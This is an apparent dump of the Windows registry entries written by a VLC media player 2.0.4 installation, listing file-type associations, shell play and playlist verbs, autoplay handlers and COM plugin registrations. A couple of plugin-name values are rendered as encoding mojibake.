"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vro" = ""

[HKCR\.pls]
"(Default)" = "VLC.pls"

[HKCR\VLC.divx]
"(Default)" = "VLC media file (.divx)"

[HKCR\VLC.drc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vro\shell]
"(Default)" = "Open"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vlc" = ""

[HKCR\VLC.avi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa]
"(Default)" = "VLC media file (.xa)"

[HKCR\VLC.xspf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.divx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.opus\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.bin\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u8\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.cda\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.asf]
"(Default)" = "VLC media file (.asf)"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.m4v\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vqf\shell\Open]
"(Default)" = "Play"

[HKCR\楖敤䱯乁嘮䍌汐杵湩.1]
"(Default)" = "䱖⁃捁楴敶⁘汐杵湩愠摮䤠⁅敗⁢汐杵湩 v1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".SPX" = "VLC.spx"

[HKCR\VLC.m4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.pls\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"Publisher" = "VideoLAN"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XSPF" = ""

[HKCR\VLC.rmvb\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.aiff\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.nsv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp2v]
"(Default)" = "VLC.mp2v"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeProgID" = "VLC.DVDMovie"

[HKCR\.wv]
"(Default)" = "VLC.wv"

[HKCR\VLC.mp4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aif" = "VLC.aif"

[HKCR\VLC.aob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell]
"(Default)" = "Open"

[HKCR\VLC.webm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wmv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vlc" = "VLC.vlc"

[HKCR\VLC.3gp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mlp]
"(Default)" = "VLC media file (.mlp)"

[HKCR\VLC.adts]
"(Default)" = "VLC media file (.adts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wma" = "VLC.wma"

[HKCR\VLC.rmvb\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gpp" = "VLC.3gpp"
".ts" = "VLC.ts"

[HKCR\VLC.rec\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ifo" = "VLC.ifo"

[HKCR\VLC.cue]
"(Default)" = "VLC media file (.cue)"

[HKCR\VLC.webm\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoCDMovieOnArrival]
"VLCPlayVCDMovieOnArrival" = ""

[HKCR\VLC.mid\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dts" = ""

[HKCR\VLC.vob\shell]
"(Default)" = "Open"

[HKCR\.m1v]
"(Default)" = "VLC.m1v"

[HKCR\VLC.dv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".669" = "VLC.669"
".divx" = "VLC.divx"

[HKCR\VLC.wv]
"(Default)" = "VLC media file (.wv)"

[HKCR\VLC.ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.s3m]
"(Default)" = "VLC.s3m"

[HKCR\.it]
"(Default)" = "VLC.it"

[HKCR\VLC.mid\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u8\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2v" = "VLC.m2v"
".m2t" = "VLC.m2t"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Version" = "2.0.4"

[HKCR\VLC.ogv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.mov\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cda\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mka\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.snd\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.m4v]
"(Default)" = "VLC.m4v"

[HKCR\VLC.w64\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob]
"(Default)" = "VLC media file (.aob)"

[HKCR\VLC.snd\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm\shell\Open]
"(Default)" = "Play"

[HKCR\.tts]
"(Default)" = "VLC.tts"

[HKCR\VLC.mpeg1]
"(Default)" = "VLC media file (.mpeg1)"

[HKCR\VLC.mov]
"(Default)" = "VLC media file (.mov)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Action" = "Play audio DVD"

[HKCR\VLC.vro\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.sdp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg" = "VLC.mpeg"

[HKCR\.xspf]
"(Default)" = "VLC.xspf"

[HKCR\VLC.opus\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.b4s\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".qcp" = "VLC.qcp"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg2\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.tts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669]
"(Default)" = "VLC media file (.669)"

[HKCR\VLC.bin]
"(Default)" = "VLC media file (.bin)"

[HKCR\VLC.flv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.aob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mts]
"(Default)" = "VLC.mts"

[HKCR\VLC.adts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".gxf" = "VLC.gxf"

[HKCR\VLC.vro]
"(Default)" = "VLC media file (.vro)"

[HKCR\VLC.aifc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amr\shell]
"(Default)" = "Open"

[HKCR\.asx]
"(Default)" = "VLC.asx"

[HKCR\.b4s]
"(Default)" = "VLC.b4s"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vqf" = ""

[HKCR\VLC.w64\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.3ga]
"(Default)" = "VLC media file (.3ga)"

[HKCR\VLC.mpg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.wma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.caf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.nuv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\shell]
"(Default)" = "Open"

[HKCR\VLC.wma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.divx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XSPF" = "VLC.xspf"

[HKCR\VLC.ape]
"(Default)" = "VLC media file (.ape)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".RMI" = "VLC.rmi"

[HKCR\VLC.a52]
"(Default)" = "VLC media file (.a52)"

[HKCR\VLC.vqf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CDA" = "VLC.cda"

[HKCR\VLC.dv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rm\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell]
"(Default)" = "Open"

[HKCR\VLC.3gpp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.tod\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amr\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp" = "VLC.3gp"

[HKCR\VLC.mp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tts" = ""

[HKCR\VLC.669\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.amv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adts" = "VLC.adts"

[HKCR\VLC.oga\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.spx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.it\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".TTA" = ""

[HKCR\VLC.mpg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mka\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3g2" = "VLC.3g2"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.m4p\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\MiscStatus\1]
"(Default)" = "131473"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3ga" = "VLC.3ga"

[HKCR\VLC.it\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.cda\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.flv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4a\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4]
"(Default)" = "VLC media file (.mpeg4)"

[HKCR\VLC.mpeg1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cue\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogx\shell\Open]
"(Default)" = "Play"

[HKCR\.adts]
"(Default)" = "VLC.adts"

[HKCR\VLC.mxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin]
"(Default)" = "䱖⁃捁楴敶⁘汐杵湩愠摮䤠⁅敗⁢汐杵湩 v2"

[HKCR\VLC.xa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp2" = ""

[HKCR\VLC.rec\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell]
"(Default)" = "Open"

[HKCR\VLC.mts\shell]
"(Default)" = "Open"

[HKCR\.bin]
"(Default)" = "VLC.bin"

[HKCR\VLC.m2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.tts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.bin\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rm\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gpp" = ""

[HKCR\VLC.amv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.dts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpa\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell]
"(Default)" = "Open"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpv2" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationName" = "VLC media player"

[HKCR\VLC.nuv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.opus\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mts" = "VLC.mts"
".mtv" = "VLC.mtv"

[HKCR\Applications\vlc.exe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aif" = ""

[HKCR\VLC.669\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.a52]
"(Default)" = "VLC.a52"

[HKCR\VLC.mod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ts]
"(Default)" = "VLC media file (.ts)"

[HKCR\VLC.amr]
"(Default)" = "VLC media file (.amr)"

[HKCR\VLC.aiff\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CUE" = "VLC.cue"

[HKCR\VLC.m1v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.tod]
"(Default)" = "VLC.tod"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.3g2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpe\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ReinstallCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /Reinstall /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".divx" = ""
".w64" = ""

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.4]
"Product" = "VLC media player"

[HKCR\VLC.mid\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mpa]
"(Default)" = "VLC.mpa"

[HKCR\VLC.wv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.f4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open\command]
